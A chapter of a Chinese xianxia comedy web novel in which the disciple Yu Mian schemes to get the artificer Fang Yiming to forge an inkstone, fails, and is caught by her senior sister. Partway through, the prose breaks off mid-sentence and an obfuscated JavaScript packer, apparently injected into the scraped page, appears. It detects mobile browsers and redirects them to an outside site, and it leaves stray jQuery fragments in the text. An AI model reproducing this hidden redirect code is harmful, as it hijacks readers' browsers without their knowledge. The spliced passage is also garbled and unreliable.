喻眠立马深呼吸一口气,收了眼泪,献媚一笑道:“方兄,其实……我刚刚说的都是逗你玩的。”
方溢鸣表情困惑:“逗我玩的?”
喻眠的鼻尖上顶着一簇小雪,认认真真装乖点头道:“没错,方兄,你别当回事,我就是说着好玩。我是小孩子,不懂事。”
虽然修真界一向认为只有拥有自己的本命武器后才算得上成人独立,但是喻眠这样已经可以御剑飞行,拥有独自出外勤能力的弟子显然和小孩子沾不上边。
方溢鸣闻言懵了一瞬间,而后恍然大悟,抬眼扫过灰蒙蒙的天空,然后拉起喻眠的手,言辞恳切地说道:
“我都懂,早就听说在白云间连鸟都会监视你们的一言一行。你放心。
我是外面的人,虽然看不出来有没有东西在监视我们,但是我还是很聪明的。
我知道你一定是看出了现在有东西在看着我们,这才改了说辞。
我不怕清渊道长,也不会把你现在说的所有话当回事,道友千万放心。
我一定会离开白云间的。”
方溢鸣褐色的眼睛很专注,表情则是深刻的坚定,像是打定主意要放弃这次来找大师姐学习的机会,一心护着她这个可怜的外门弟子。
如果喻眠真是什么可怜兮兮的外门弟子她会很感动。
可惜她不是。
不仅不感动,还觉得方溢鸣有点太过自作聪明了。
喻眠没有遇到过这样的人,倒不像个圆滑世故的器修,而像一个认定一件事不回头的剑修。
喻眠没有和这样的人打过交道,只能连忙摆手道:“没这回事啊,你看天上哪里有鸟影啊,我刚刚真是说着玩的,道友你切莫当真。”
方溢鸣看着喻眠,她说话的表情并不自然,他不会觉得喻眠刚刚又哭又闹说出来的话会是玩笑话,那一定是现在被胁迫了。
于是方溢鸣握着喻眠的手更加用力,话语坚定:“你在暗示我现在白云间监视技术又升级了?不止鸟还有别的东西也会盯着我们?
道友你不用担心我的,我是天器谷的核心弟子,不怕清渊道长,我就这么走了她看到了也不会把我怎么样。
倒是道友你,身为白云间弟子,泄露了师门这等隐秘,的确是要千万当心。”
喻眠没绷住:“大哥,你真想多了。”
方溢鸣听到喻眠称呼他为大哥,瞳孔猛地一缩。
随即又舒展开,他双目水润,表情一副感动道:“小妹既把我当作大哥,我自不会辜负小妹一番好意。小妹放心,我这就离开白云间。”
喻眠:“……”
她不是这个意思啊。
方溢鸣又不是书中写的“俏师弟”,在炼完砚台前她可不希望他离开。
喻眠一本正经地向方溢鸣解释起来:“我可没有把你认作大哥,我那是对你无语至极的称呼,是吐槽的性质,而非亲近。方道友,你多想了。”
喻眠长得不高,堪堪到自己胸口,眼睛圆滚滚的,认认真真地解释着她对自己很无语。
方溢鸣觉得这么可爱的人应该不会有什么坏心思,于是他用那套“喻眠是在被监视所以才说一些胡话”的逻辑说服了自己,便了然地回道:“小妹是因为被监视着,故意表现得和我关系疏远,来拉开你我之间的距离是不是?没关系的,大哥知道有东西在看着我们,但是大哥不怕。你如果怕的话大哥带你回天器谷吧,天器谷罩着你。”
天空昏昏暗暗,雪飘摇不定。身着黄衣的方溢鸣说这句话时专注真诚,就好像自身在散发着光。
他的态度认真,喻眠听着也被他说的话勾走了心:“罩着我?这么好的吗?”
倒不是喻眠真的想叛逃白云间去天器谷。
只是有了天器谷罩着,她岂不是再也不用怕执法堂了,以后随时随地都能用灵气给自己头发吹风做造型。
那也太好了。
喻眠心思单纯,听到方溢鸣许诺的天器谷这样大的宗门的一个背书,别人可能已经乐坏了,满脑子想着利用这个做什么事,可她脑海里的第一反应就是可以用来让随心所欲吹头发。
方溢鸣看着乐呵呵的喻眠道:“对的。不过小妹你这种修无情道的在修仙界毕竟不是很受待见,来我们天器谷也只能做最累的活计了。朝九晚五,月休八天,年假也只有一个月。”
“这叫累吗?明明轻松得不行!”
回想着这么多年在瀑布下练剑的日子,喻眠眉眼弯弯:“方大哥,天器谷一个月多少灵石?按外勤任务数量给还是每月固定月例发放?”
对不起了大师姐。
这下她是真的打算背叛师门了。
要怪就怪白云间太辛苦了吧,不要怪她没心又没肺。
“给你来天器谷学习的机会就不错了,你竟然还想要灵石?”方溢鸣吃惊。
闻言,喻眠瞪大了圆滚滚的眼睛,立刻翻脸不认人道:
“不好意思啊,方道友。我一心白云间。生是白云间的牛,死是白云间的马。白云间爱我,我爱白云间。实在是舍不得离开我的好师门,去什么闻所未闻的天器谷。”
“果然还是有监听鸟在吧……上一秒还在哭诉在白云间的不公,劝我也趁早离开,现在就一心白云间,甘愿做牛做马了。”方溢鸣更加坚定了原本的猜想,喻眠就是因为被看着现在才说胡话的,让他留下来的话做不得真。
“方道友,你不先想想天器谷白干活不给钱很不合理吗?”喻眠拧眉盯着方溢鸣道。
“磨炼自己的事,你为什么要谈报酬呢?”方溢鸣真诚地看着喻眠。
“不谈报酬还能谈什么呢?”
“当然是刻苦修炼后得道飞升的理想啊。”
这是修真界所有人都有的想法,自然而然的,不需要任何解释的,从第一位修士飞升开始,所有修真人士的终极目标都是飞升。
于是方溢鸣自然而然地说了出来。
“谈理想?我的理想就是每天啥也不干白领月例。”
可惜喻眠是一个例外,她不在意得道飞升,反而更在意自己悠哉悠哉的师门生活。
她平生最大的渴望从来不是飞升,所以在看到《一剑斩仙》后也没有想着顺应天道发展,把自己的师兄师姐一一献祭了,来换取自己修仙之路的发展。
“你这也太不思进取了!”方溢鸣不可理喻地看着喻眠,“而且你刚刚还说留在黑暗的白云间都是为了修炼自我得道飞升。”
天空雪花飘洒而下,将久久站立在这里的方溢鸣头顶覆上一片白,四处弥漫着清洌的味道。
喻眠无辜地看着他,岔开话题道:“话说大哥你其实也可以向我们白云间执法堂新来的李堂主请教,她为人正直,剑道也厉害。那一手剑法真是绝了,是我心中白云间的剑道第二人。”
提到学习剑道,方溢鸣很快被转移注意力,心思放在喻眠开启的新话题上。
他问道:“真的吗?我就是一个只会炼器的粗人,我连基础剑法都耍不明白,李堂主也愿意教我吗?”
喻眠一本正经地哄道:“是啊,她有教无类,人真的很好。而且我估计报酬同样也就是给我们三师姐炼砚台,对于方兄你来说肯定不是什么难事。”
其实喻眠根本没有见过那拿雪鸮监视自己吹造型的新堂主的剑法如何,她只是新想了一个让方溢鸣炼出砚台,且糊弄过大师姐那边的新主意。
喻眠的计划十分完美。
她打算先利用执法堂堂主把砚台哄骗出来,然后再骗大师姐说:“方溢鸣刚留下砚台就被师门找回去了,他有急事,只能下次再来请教剑法了。”
之后再叮嘱方溢鸣,让他回去后千万不要告诉第三个人她今天说过的话,最好也不要再来到白云间了。
不然凶神恶疾的白云间一定叫她小命不保,请可怜可怜她,帮帮她这位刚刚被认下的小妹。
如此操作下来,想必能让两个人互相毫不知情她今日从中做的梗,不影响原本定下来的顺利无比的交易。
她也好免得大师姐一顿毒打。
喻眠觉得她真是太聪明了。
“我不能答应你。”
方溢鸣却道。
喻眠吃惊:“敢问方兄这是为何啊?”
“先前听道友说白云间三弟子喻眠横行霸道,压榨你们小弟子的份例。我若是为了自己在剑道上的爱好,而帮她炼了砚台,那岂不是助纣为虐吗?”
方溢鸣正气凛然地继续补充道:“更何况她现在就敢欺凌你们这些外门弟子,若是真的又新添了黄品法器助阵,白云间一定会更加乌烟瘴气,你们这些小弟子该如何是好。这样损人利己的事,我是万万不会做的。”
喻眠一惊。
现在外面这些不修无情道的,道德感都这么高的吗?
二师兄平时编排出来的戏本子里不是这样写的啊。
方溢鸣心意已决,他拍落肩头的雪,转身准备离开。
喻眠急忙喊道:“站住!”
方溢鸣脚步不停,一副心意已决的样子。
他觉得现在白云间有东西在监视着他们。
喻眠此时叫住他也仅仅是此时此刻有人看着她一言一行的逼不得已,这时候说的话也没有什么参考价值,都是为了应付上面人的胡言戏说。
这种情况转身离开并不是对她的不尊重,反而一种体谅,让她不用因为监而说着这些言不由衷的话。
方溢鸣的逻辑自成一派,不过却能自圆其说。
喻眠却不知道他脑海的这些七七八八。
见他死活不理自己,喻眠鼓起腮帮子,气得跺了一下脚。
可是方溢鸣还不回头,喻眠只好使出对她二师兄都百试百灵的杀招,一脸悲痛地胡言乱语道:“你怎么可以这样对我?你就这样转头就走?我这样勤勤恳恳地帮助你,在你最需要的时候过来,告诉你白云间的万般不好,也只是想要和你说说话,融入你的世界,得到你的回应。但是你为什么不理睬我呢?哪怕我只是想要你的一个转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626533|172391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身,你的一句回话,这都不可以吗?好吧,我早该看透了。大哥,你根本什么都不在乎,不在乎我这个小妹,也不在乎什么剑道,你只在乎你自己!”
方溢鸣:?
方溢鸣终于一脸绷不住地转过头:“你说的这是人话吗?”
“不说人话,怎么吸引你的注意,然后转身回话呢,道友。”喻眠表情一脸超然。
明明还是一个年纪不大的小姑娘,头上还梳着双髻,眉心点着凡间幼儿才会点的花钿,表情却像一个过了大半辈子的白发老头。
喻眠超然地看着天边这场为外门试炼而下的鹅毛大雪,周围白茫茫的一片,粉色的夹竹桃上覆着一层银般,看不出原来的颜色来。
她突然有了一个好得不能再好的新主意。
在确定方溢鸣短时间不会再转身就走后,喻眠清咳了几声,端正神色,严肃道:“不好意思,方溢鸣道友,你没有通过考验。”
方溢鸣有些发愣:“什么考验?”
“组织上对你的考验。”喻眠严肃地说,黑色眼睛注视着方溢鸣褐色的瞳孔,“我是我们大师姐派来考验你的,很遗憾,方溢鸣道友,你没有通过考验。”
方溢鸣表情还是呆呆的:“你在说些什么?”
他是真的一点也没有跟上喻眠的思路。
“大师姐一直对于是否要传授你剑道一事十分纠结和犹豫。
大师姐答应和你交易,从来不是为了什么黄品法器,一个甚至不是天器谷长老的普通弟子都能炼出来的东西,这对于我们白云间的大师姐清渊道长来说根本算不上什么。
她只是被你向往剑道的真心所打动,又怕你不好意思接受平白无故的教学,所以才提出了帮白云间三弟子喻眠练砚台的交换。
不过她仍有顾虑,只能出此下策,派我来考验你。”
“可是很遗憾。”喻眠一脸沉痛,“道友,你没有通过我们的考验。”
“我的真心天地可鉴!”方溢鸣被喻眠的话带着走,顿时有些慌乱,他连忙举起手指对天发誓。
“意诚心正身修从古至今都是缺一不可。”喻眠老学究似的摇了摇头,“我要看方道友是否做到这些,来确认道友是否真正有学剑的资质。”
方溢鸣快速地回忆了一遍刚刚自己说过的话和做过的事,更加不解,问道:“在下难道在何处言行处事有不妥之处?”
喻眠点了点头。
“的确,为了求寻剑道,道友能够不顾路途遥远,也要来我白云间讨教学习。并对所有事物,都以可以让自己修炼有所成就的眼光看待,可谓意诚;
面对我御剑飞行的突然袭击,道友能及时防御保全自我而不伤及他人,可谓身修;
得知自己的一己私欲可能会影响到白云间众弟子的安稳,便能直接放弃自己热爱追求,情愿打道回府,可谓心正。
只是……”
喻眠故意顿了顿。
“只是什么?”方溢鸣急切问道。
喻眠威风凛凛地开口道:“你可知道我是谁?”
方溢鸣愣愣地看着眼前的人。
一袭淡蓝色的衣袍,身形纤细,肩头有点点白色的雪,容貌清俊,双眼炯炯有神,脖颈间一颗黑色的小痣,手中握着一把长剑,剑尖直插地面,威风凛凛。
他脑袋里一时之间没有一位白云间剑修可以与眼前人对上号。
方溢鸣迟疑了片刻,不太确定地说道:“一位渊清道长器重的内门弟子?”
喻眠潇洒一笑,又违规使用灵力为自己吹起一阵风,卷得她的头发向前飞扬。
她从袖口拿出一张符篆,夹在右手指尖,又松开手指,违规用灵力又卷起一阵风,符篆随风落到方溢鸣手上,张扬开口道:“在下喻眠,白云间的少门主,清风道长的师妹,泥马道长的三弟子,一位符修。”
耍完帅,喻眠又是张扬一笑。
“只是方兄遇到事情不加实践,不加思索。
方兄从来没有检验过我所言是真还是假,不去看看白云间的大师姐与三师姐是否是如我所说一样的人物,而是被几滴眼泪轻易打动,被影响思想。
你要是这样听风就是雨,若是学了我大师姐的剑招,以后被有心之人利用,岂不是祸患?”
喻眠振振有词地说道。
“哦?那你倒是来和我讲讲一个基础剑诀第一式会带来什么祸患?”一道女声似笑非笑地说道。
喻眠震惊地转头。
一身飘飘然的蓝衣,一双细长弯弯的狐狸眼,背后一把轻剑。
大、大师姐?
此时此刻她不应该在外门试炼终点审核弟子吗?
她怎么会在这里?!
不会吧,这都能被抓到,她未免也太过倒霉了吧。
哦对,书里写了,大师姐现在在外门试炼的地方四处游荡乱逛,偶遇烂桃花。
但是方溢鸣不是“俏师弟”啊,就这样还能被“俏师弟”的未来爱人偶遇上,她也太过倒霉了吧。